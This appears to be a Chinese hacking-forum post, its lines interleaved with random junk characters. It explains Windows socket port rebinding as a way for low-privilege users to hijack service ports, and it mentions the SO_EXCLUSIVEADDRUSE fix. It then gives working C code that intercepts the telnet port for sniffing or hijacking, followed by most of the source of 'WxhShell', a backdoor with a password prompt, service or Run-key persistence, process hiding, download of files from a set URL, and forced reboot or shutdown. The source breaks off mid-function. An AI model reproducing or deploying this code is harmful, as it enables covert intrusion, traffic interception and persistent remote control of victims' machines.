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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "JkZJ#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]o-Fi$h!  
)`w=qCn1Y  
  saddr.sin_family = AF_INET; Zta$R,[9h  
<rNtY,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ht?CH Uu  
I-xwJi9?,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Kw)K A^KF  
D" L|"qJ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 cV-i*L4X  
$`|5/,M%QN  
  这意味着什么?意味着可以进行如下的攻击: -#Np7/  
n`]l^qE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 81Z4>F:  
?>sQF4 V"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wGPotPdE2  
EMLx?JnP  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 osl=[pm  
mA& =q_gS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W. ^Ei\w/t  
Cz_AJ-WR  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /Zc#j^_  
2s 7mI'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zK=dzoy  
ITONpg[f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !g8*r"[UJ  
[*<.?9n)or  
  #include (vKI1^,  
  #include  }mKwFVZ  
  #include $,TGP+vH  
  #include    :/B:FY=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *ksb?|<Ot  
  int main() &.zj5*J  
  { Yv^p =-E  
  WORD wVersionRequested; *vYn_wE  
  DWORD ret; [g#s&bF  
  WSADATA wsaData; G*B$%?n  
  BOOL val; GR<c=   
  SOCKADDR_IN saddr; c<?[d!vI  
  SOCKADDR_IN scaddr; 6 *Zj]is  
  int err; I~)cYl:|G  
  SOCKET s; &&WDo(r3  
  SOCKET sc; H)E^!eo  
  int caddsize; IV0[!D  
  HANDLE mt; y_*n9 )Ct  
  DWORD tid;   8W;2oQN7  
  wVersionRequested = MAKEWORD( 2, 2 ); Zd[OWF  
  err = WSAStartup( wVersionRequested, &wsaData ); Ox^:)ii  
  if ( err != 0 ) { 3YW=||;|Yg  
  printf("error!WSAStartup failed!\n"); ym\(PCa5`  
  return -1; ryg4h Hspl  
  } -ui< E?v  
  saddr.sin_family = AF_INET; .]P2}w)x?  
   oU8>Llt=$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u_LY\'n  
H d*}k6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i}B;+0<drx  
  saddr.sin_port = htons(23); ]=x\b^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FPF6H puV  
  { g`n;R  
  printf("error!socket failed!\n"); M'q'$)e  
  return -1; J*j5#V];  
  } =h|wwQE  
  val = TRUE; rnO0-h-;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +dw!:P &  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =NZ[${7mq  
  { D<t~e$H  
  printf("error!setsockopt failed!\n"); |g<*Rk0  
  return -1; i ?;R}%~  
  } {^J!<k,R\;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]dG\j^e|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z1vw'VT>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ql &0O27  
'z5h3J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \vCGU>UY  
  { DI,K(_@G  
  ret=GetLastError(); i.y=8GxY  
  printf("error!bind failed!\n"); _ij$f<  
  return -1; EY=FDlV  
  } @A{m5h  
  listen(s,2); gRAC d&)  
  while(1) %v{1# ~u  
  { Ly7!R$X  
  caddsize = sizeof(scaddr); H-I{-Fm  
  //接受连接请求 ,3HcCuT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ',{7% G9  
  if(sc!=INVALID_SOCKET) jJBnDxsA  
  { L\e>B>u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R^%e1 KO]  
  if(mt==NULL) +}a C-&  
  { /syVGmS'M  
  printf("Thread Creat Failed!\n"); FRZs[\I|iT  
  break; g$FEEDF  
  } {U"^UuU]  
  } ,a0pAj  
  CloseHandle(mt); ;Lo&}U3F,!  
  } HI`q1m.  
  closesocket(s); dlDki.  
  WSACleanup(); so+4B1$)q  
  return 0; >$H|:{D  
  }   `#Kx|x6  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^aF8wbuZ  
  { \?Mf_  
  SOCKET ss = (SOCKET)lpParam; [h&BAR/ 2  
  SOCKET sc; c*;7yh&%  
  unsigned char buf[4096]; %}&(h/= e  
  SOCKADDR_IN saddr; v+=k-;-  
  long num; <&<,l58[c  
  DWORD val; [ohBPQO  
  DWORD ret; \.#p_U5In  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A&,,9G<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]|U-y6 45  
  saddr.sin_family = AF_INET; ECcZz.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l&W;b6L  
  saddr.sin_port = htons(23); y3eHF^K+$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >MG(qi  
  { 2(M6(xH>  
  printf("error!socket failed!\n"); A}5fCx.{  
  return -1; "e6|"w@8  
  } C$9z  
  val = 100; fD4ICO@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0Fw6Dq<8-!  
  { `f9gC3Hk  
  ret = GetLastError(); &aG*k*  
  return -1; aWy]9F&C:  
  } nfdq y)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ` ;)ZGY\  
  { o.7{O,v  
  ret = GetLastError(); A8DFm{})c  
  return -1; /i_ @  
  } rwE%G>Vb  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7N=-Y>$X  
  { ROc`BH=  
  printf("error!socket connect failed!\n"); -#s [F S  
  closesocket(sc); j_cs;G: "  
  closesocket(ss); U@F)2?  
  return -1; "TS  
  } H'=(`  
  while(1) e3(/qMl  
  { 6l\FIah@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :G5RYi  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ',I0ih#Ls  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 '5KeL3J;  
  num = recv(ss,buf,4096,0); atF?OP|{,w  
  if(num>0) v~|?3/{Q  
  send(sc,buf,num,0); (%_n!ip^  
  else if(num==0) f)Xr!7  
  break; <F=9*.@D   
  num = recv(sc,buf,4096,0); 1HT_  
  if(num>0) E?)656F[  
  send(ss,buf,num,0); mQ~:Y  
  else if(num==0) W# US#<9Y  
  break; Te,$M3|  
  } 9 QC.TG@  
  closesocket(ss); -&2B@]]  
  closesocket(sc); V5`^Y=X(%  
  return 0 ; Q.U$nph\%d  
  } P\nC?!Q%c  
M*eJ JY  
3oy~=  
========================================================== >vbY<HGt  
#z'uRHx%=0  
下边附上一个代码,,WXhSHELL Dw<k3zaW  
+}xaQc:0|  
========================================================== 9uk<&nqx  
\]4v_!  
#include "stdafx.h" *QGm/ /b  
1O/ g&u  
#include <stdio.h> t.Nb? /  
#include <string.h> {eS|j=  
#include <windows.h> %?Y[Bk3p  
#include <winsock2.h> PU<PhuMd  
#include <winsvc.h> 2";SJF'5\  
#include <urlmon.h> a2 +~;{?g  
O1&b]C#  
#pragma comment (lib, "Ws2_32.lib") 9=X)ung9  
#pragma comment (lib, "urlmon.lib") R(Kk{c:-@  
IiBD?}  
#define MAX_USER   100 // 最大客户端连接数 LwcIGhy  
#define BUF_SOCK   200 // sock buffer GB7/x*u   
#define KEY_BUFF   255 // 输入 buffer Hu3wdq  
[U, ?R  
#define REBOOT     0   // 重启 p>vU?eF  
#define SHUTDOWN   1   // 关机 mTNB88p8^D  
<^?1uzxH8A  
#define DEF_PORT   5000 // 监听端口 @=j WHS  
cTTW06^  
#define REG_LEN     16   // 注册表键长度 2i{cQ96  
#define SVC_LEN     80   // NT服务名长度 SMH<'F7i  
2 {Vcb  
// 从dll定义API M$4[)6Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }Z-Z|G)#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); < 0M:"^f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $Fkaa<9;P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .iMN,+qP  
#>=j79~  
// wxhshell配置信息 'G\XXf% J  
struct WSCFG { NEt1[2X%  
  int ws_port;         // 监听端口 XQ%4L-rhN  
  char ws_passstr[REG_LEN]; // 口令 uc7Eq45  
  int ws_autoins;       // 安装标记, 1=yes 0=no %WTEv?I{Ga  
  char ws_regname[REG_LEN]; // 注册表键名 d[p;T\?"  
  char ws_svcname[REG_LEN]; // 服务名 L|-98]8>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q6gt+FKU9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1923N]b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y6i _!z[V[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G7!W{;@I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m %;D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DGW+>\G  
NA3 \  
}; osARA3\Xt  
tZ`Ts}\e  
// default Wxhshell configuration ~lNsa".c  
struct WSCFG wscfg={DEF_PORT, hpTDxh'?$C  
    "xuhuanlingzhe", tE6!+c<7  
    1, i) E|bW;  
    "Wxhshell", )^||\G  
    "Wxhshell", zDhB{3-Q1{  
            "WxhShell Service", H{J'# 9H  
    "Wrsky Windows CmdShell Service", g~V+4+  
    "Please Input Your Password: ", qd3Q}Lk  
  1, ~Tbj=f  
  "http://www.wrsky.com/wxhshell.exe", 4P^6oh0"  
  "Wxhshell.exe" F  
    }; WE]e m >  
BH]Ynu&o  
// 消息定义模块 akw,P$i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bVP"(H]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HbP!KVHyk1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s,#>m*Rh  
char *msg_ws_ext="\n\rExit."; <)+y=m\eJ  
char *msg_ws_end="\n\rQuit."; +)zOer,  
char *msg_ws_boot="\n\rReboot..."; !EUan  
char *msg_ws_poff="\n\rShutdown..."; sf&]u;^DY  
char *msg_ws_down="\n\rSave to "; V%$/#sza  
A_Frk'{qhB  
char *msg_ws_err="\n\rErr!"; .EM`.  
char *msg_ws_ok="\n\rOK!"; 8-<:i  
"-@[R  
char ExeFile[MAX_PATH]; 4_Dp+^JF  
int nUser = 0; `u>4\sv  
HANDLE handles[MAX_USER]; CLvX!O(~  
int OsIsNt; {uzf"%VtP  
rZ8`sIWQt  
SERVICE_STATUS       serviceStatus; |rmg#;/D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {(r6e  
cw iX8e"3  
// 函数声明 45hF`b>%,  
int Install(void); =zQN[  
int Uninstall(void); %p%%~ewmx  
int DownloadFile(char *sURL, SOCKET wsh); q, O$ %-70  
int Boot(int flag); n; {76Q  
void HideProc(void); ;a:[8Yi  
int GetOsVer(void); LL:_L<  
int Wxhshell(SOCKET wsl); k)EX(T\  
void TalkWithClient(void *cs); >EY3/Go>  
int CmdShell(SOCKET sock); vpmj||\-  
int StartFromService(void); }&_/PA0j  
int StartWxhshell(LPSTR lpCmdLine); MEB it  
RX/hz|   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vWAL^?HUP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d!eYqM7-G  
x.S3Zi}=  
// 数据结构和表定义 M4as  
SERVICE_TABLE_ENTRY DispatchTable[] = f^W;A"+  
{ *z@>!8?  
{wscfg.ws_svcname, NTServiceMain}, j?'GZ d"B  
{NULL, NULL} 98^V4maR:  
}; t!RiUZAo  
5\z `-)  
// 自我安装 >2~=)L  
int Install(void) wI(M^8F_Mf  
{ ):iA\A5q[  
  char svExeFile[MAX_PATH]; -GxaV #{  
  HKEY key; m*JaXa  
  strcpy(svExeFile,ExeFile); g+z1  
UX7t`l2R  
// 如果是win9x系统,修改注册表设为自启动 |1j["u1  
if(!OsIsNt) { 5oAK8I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { | Bi!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G^ :C+/)  
  RegCloseKey(key); l\i)$=d&g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;^Dpl'v%\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }_ 9Cxji  
  RegCloseKey(key); d3xmtG {i  
  return 0; B_.%i+ZZ  
    } 'inFKy'H  
  } I_]^ .o1q  
} ^0Mt*e{q  
else { ]q4rlT.i  
Dh=9Gns9  
// 如果是NT以上系统,安装为系统服务 @;"|@!l|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V:joFRH9  
if (schSCManager!=0) {;2PL^i  
{ 3W N@J6?  
  SC_HANDLE schService = CreateService AIZ]jq  
  ( .[_L=_.  
  schSCManager, &q9T9A OS  
  wscfg.ws_svcname, 5 sX+~Q  
  wscfg.ws_svcdisp, X(NLtO w  
  SERVICE_ALL_ACCESS, uA< n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *WuID2cOI  
  SERVICE_AUTO_START, zolt$p  
  SERVICE_ERROR_NORMAL, Z.Lc>7o  
  svExeFile, 7<*yS310  
  NULL, +~p88;  
  NULL, -qGa]a  
  NULL, m^zUmrj[  
  NULL, +L;e^#>d  
  NULL J\b^)  
  ); *}*FX+px)  
  if (schService!=0) Fe4(4  
  { p>huRp^w  
  CloseServiceHandle(schService); $&n=$C&x  
  CloseServiceHandle(schSCManager); F1yqxWHeo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [1S|dc>.O%  
  strcat(svExeFile,wscfg.ws_svcname); aht[4(XH5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cz8T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~nay"g:  
  RegCloseKey(key); e~=;c  
  return 0; GB=X5<;  
    } LU!a'H'Q  
  } $| @ (  
  CloseServiceHandle(schSCManager); gDpVeBd[  
} n"c[,k+R`U  
} EFM5,gB.m  
YpVD2.jy  
return 1; T{-CkHf9Q  
} ~UP[A'9jJ  
Jcd-  
// 自我卸载 J| w>a  
int Uninstall(void) \| 8  
{ Wi)_H$KII  
  HKEY key; 9dx/hFA  
|Y ,b?*UF  
if(!OsIsNt) { <eWf<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZbdZ rE$  
  RegDeleteValue(key,wscfg.ws_regname); X4~y7  
  RegCloseKey(key); b0Ps5G\ u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #cI{Fe0h  
  RegDeleteValue(key,wscfg.ws_regname); 3EPv"f^V  
  RegCloseKey(key); ]>5/PD,wWy  
  return 0; sYI-5D]  
  } H&-zZc4\  
} rC^WPW  
} u7>],<  
else { zBzZxK>$  
u. F9g #  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VY7[)  
if (schSCManager!=0) _l8 9  
{ \!.B+7t=I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *Q "wwpl?  
  if (schService!=0) [1Qo#w1  
  { +nFu|qM}  
  if(DeleteService(schService)!=0) { <Z mg#  
  CloseServiceHandle(schService); 1~NT.tY  
  CloseServiceHandle(schSCManager); qm/22:&v5  
  return 0; hcsP2 0s  
  } *`5.|{<j{  
  CloseServiceHandle(schService); A P?R"%  
  } EM(gmWHij  
  CloseServiceHandle(schSCManager); tEvut=k'  
} u04kF^  
} 'c9]&B  
G[uK-U  
return 1; MP Y[X[  
} <L8'!q}  
TNe l/   
// 从指定url下载文件 P@V0Mi),  
int DownloadFile(char *sURL, SOCKET wsh) 8V`WO6*  
{ EE06h-ns  
  HRESULT hr; &5B'nk"  
char seps[]= "/"; vXrx{5gz  
char *token; 3 /g~A{  
char *file; (c=6yV@  
char myURL[MAX_PATH]; \ C+~m  
char myFILE[MAX_PATH]; - M4J JV(  
dO! kk"qn  
strcpy(myURL,sURL); T $>&[f$6  
  token=strtok(myURL,seps); ?]_$Dcmx  
  while(token!=NULL) bN1|q| 9  
  { %K=?@M9i  
    file=token; <lPm1/8  
  token=strtok(NULL,seps); *v!9MU9[(  
  } BYL)nCc  
/T0F"e)Ci  
GetCurrentDirectory(MAX_PATH,myFILE); +V ;l6D  
strcat(myFILE, "\\"); 61C7.EZZ;  
strcat(myFILE, file); 4DI8s4fi  
  send(wsh,myFILE,strlen(myFILE),0); "c%0P"u  
send(wsh,"...",3,0); #wwH m3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &[?\k>  
  if(hr==S_OK) 5H<m$K4z  
return 0; [ )Iv^ U9  
else Hw}Xbp[y  
return 1; l*Gvf_UH  
@zW]2 c  
} K7_UP&`=J  
BU/"rv"(Fg  
// 系统电源模块 ohGJ1  
int Boot(int flag) _7Ju  
{ 4yy>jXDG  
  HANDLE hToken; dd%6t  
  TOKEN_PRIVILEGES tkp; P9^Xm6QO  
e5ZX   
  if(OsIsNt) { 24 'J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z% ?+AM)P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @e.C"@G  
    tkp.PrivilegeCount = 1; X:"i4i[}{9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _Eo[7V{NY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  ?Jm^<  
if(flag==REBOOT) { ].w4$OJ?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v!~fs)cdE|  
  return 0; G:<aB  
} 'x#~'v*  
else { f643#1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {I%cx Q#y  
  return 0; ? =Z?6fw  
} UmP/h@8  
  }  ~d.Y&b  
  else { ,wb:dj-  
if(flag==REBOOT) { C2kPMB=Xo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G5BfNU  
  return 0; S6DKREO  
} ,q`\\d  
else { Xx~Bp+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O m|_{  
  return 0; I3L<[-ZE  
} zj{pJOM06  
} gD @){Ip  
lgL%u K)  
return 1; BA:VPTZq  
} N)X3XTY  
IVY]EkEG~  
// win9x进程隐藏模块 I^-Sb=j?Z  
void HideProc(void) NIry)'"  
{ 0 1rK8jX  
03X1d-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i>`%TW:g  
  if ( hKernel != NULL ) X 'Xx"M  
  { (=AWOU+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W:2( .?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kiaw4_  
    FreeLibrary(hKernel); Ty?cC**  
  } z2~ til  
*Hn8)x}E  
return; kS);xA8s]  
} j_?FmX _  
$ bR~+C  
// 获取操作系统版本 h7Kzq{$  
int GetOsVer(void) 0Th&iA4  
{ %YscBG  
  OSVERSIONINFO winfo; -`h)$&,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )qw&%sO +  
  GetVersionEx(&winfo); CY5Z{qiX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EI%89i`3^  
  return 1; A}9`S6@@  
  else )*J^K?!S  
  return 0; -uG +BraI  
} %J?xRv!  
Q(?#'<.#  
// 客户端句柄模块 kVMg 1I@  
int Wxhshell(SOCKET wsl) &U#|uc!+  
{ Q Z  
  SOCKET wsh; *L^,|   
  struct sockaddr_in client; +7.',@8_V  
  DWORD myID; %5n_ p^xp  
#=A)XlZMd  
  while(nUser<MAX_USER) 45c$nuZ  
{ IOmfF[  
  int nSize=sizeof(client); k="i;! G e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]w8(&,PP  
  if(wsh==INVALID_SOCKET) return 1; KkbDW3-  
b]#AI qt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hL{KRRf>  
if(handles[nUser]==0) yNBfUj -L  
  closesocket(wsh); LU%E:i|  
else oD .Cs'  
  nUser++; #q=Efn'  
  } +a+Om73B2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^hM4j{|&M  
Zb>?8  
  return 0; <\^8fn   
} f2`2,?  
VY4yS*y  
// 关闭 socket _]H&,</  
void CloseIt(SOCKET wsh) yvB.&<]No  
{ Z@!+v 19^  
closesocket(wsh); e*NnVys  
nUser--; /nA{#HY  
ExitThread(0); YNF k  
} BW4J>{  
htF] W|z  
// 客户端请求句柄 T(Eugl"  
void TalkWithClient(void *cs) NZ0;5xGR  
{ "+G8d' %YV  
2^ nxoye  
  SOCKET wsh=(SOCKET)cs; !Wnb|=j  
  char pwd[SVC_LEN]; 0 M[EEw3  
  char cmd[KEY_BUFF]; lRFYx?y  
char chr[1]; `d}2O%P  
int i,j; ukyZes8o K  
/*mI<[xb  
  while (nUser < MAX_USER) { ^<2p~h0 \  
8&slu{M- t  
if(wscfg.ws_passstr) { + cN8Y}V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A3/k@S-R2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1mG-}  
  //ZeroMemory(pwd,KEY_BUFF); kt:! 7  
      i=0; vl:KF7:#m  
  while(i<SVC_LEN) { @\#td5'  
ZUd-<y  
  // 设置超时 r;N|)  
  fd_set FdRead; u'BaKWPS  
  struct timeval TimeOut; (*iHf"=\  
  FD_ZERO(&FdRead); [{,1=AB  
  FD_SET(wsh,&FdRead); 3a'<*v<xw  
  TimeOut.tv_sec=8; MQ6KN(?\ZL  
  TimeOut.tv_usec=0; MQ8J<A Pf-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wnC81$1l~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q(84+{>B  
vr =#3>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  }.6[qk  
  pwd=chr[0]; ( a#BV}=  
  if(chr[0]==0xd || chr[0]==0xa) { v.qrz"98-  
  pwd=0; &tj!*k'  
  break; P&LsVR{#  
  } FQ\h4` >B  
  i++; /%^#8<=|U  
    } 4Fr  
N~'c_l  
  // 如果是非法用户,关闭 socket D*d]aC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]t"Ss_,  
} PEZ!n.'S  
=UWI9M*sz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |yPu!pfl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 61U09s%\0  
pEA:L$&  
while(1) { F:S}w   
S?2>Er  
  ZeroMemory(cmd,KEY_BUFF); O:K2Y5R?B  
Y.p;1"  
      // 自动支持客户端 telnet标准   LKDO2N  
  j=0; _H@DLhH|=  
  while(j<KEY_BUFF) { .7X^YKR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sFRQe]zCcP  
  cmd[j]=chr[0]; u>vL/nI  
  if(chr[0]==0xa || chr[0]==0xd) { H<+TR6k<  
  cmd[j]=0; Xsa].  
  break; cw <l{A  
  } 3=oDQ&UFt  
  j++; dSHDWu&  
    } G18b$z  
2D5StCF$O  
  // 下载文件 SOIN']L|V[  
  if(strstr(cmd,"http://")) { do'GlU oMC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'LDQgC*%  
  if(DownloadFile(cmd,wsh)) \s\?l(ooq"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4#Jg9o   
  else A@#E@ ;lm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G' 1'/  
  } =Dj#gV  
  else { V !~wj  
zfdl45  
    switch(cmd[0]) { VUuE T  
  m9;SrCN_  
  // 帮助 Zv{'MIv&v  
  case '?': { wC'Szni  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -mh3DhJ,  
    break; *{5fq_  
  } (/$^uWj  
  // 安装 {P-):  
  case 'i': { ~&uHbTq  
    if(Install()) Dw"\/p:-3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7zj{wp!  
    else nO-#Q=H,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h{qgEIk&  
    break; uXiN~j &Be  
    } ?e?!3Bx;EM  
  // 卸载 /x *3}oI  
  case 'r': { \w8\1~#  
    if(Uninstall()) K (|}dl:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l U]nd[x  
    else 7t3!) a|lI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +ZX{>:vo   
    break; }6ldjCT/,  
    } Vjpy~iP4B  
  // 显示 wxhshell 所在路径 n=q 76W\  
  case 'p': { 7xR\kL.,  
    char svExeFile[MAX_PATH]; _#8MkW#]~  
    strcpy(svExeFile,"\n\r"); "J1 4C9u   
      strcat(svExeFile,ExeFile); -G=]=f/'  
        send(wsh,svExeFile,strlen(svExeFile),0); fV~[;e;U.  
    break; vih9 KBT  
    } J[kTlHMD  
  // 重启 Dt1jW  
  case 'b': { G!yP w:X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2~2 O V  
    if(Boot(REBOOT)) 2`-Bs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VxBo1\'  
    else { 2Khv>#l  
    closesocket(wsh); 6S{l' !s'  
    ExitThread(0); \{YU wKK/A  
    } s#GLJl\E_P  
    break; qg$ <oL@~~  
    } }-`4DHgq  
  // 关机 G+m }MOQP7  
  case 'd': { r mOj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'c~4+o4co  
    if(Boot(SHUTDOWN)) W%Fv p;\`  
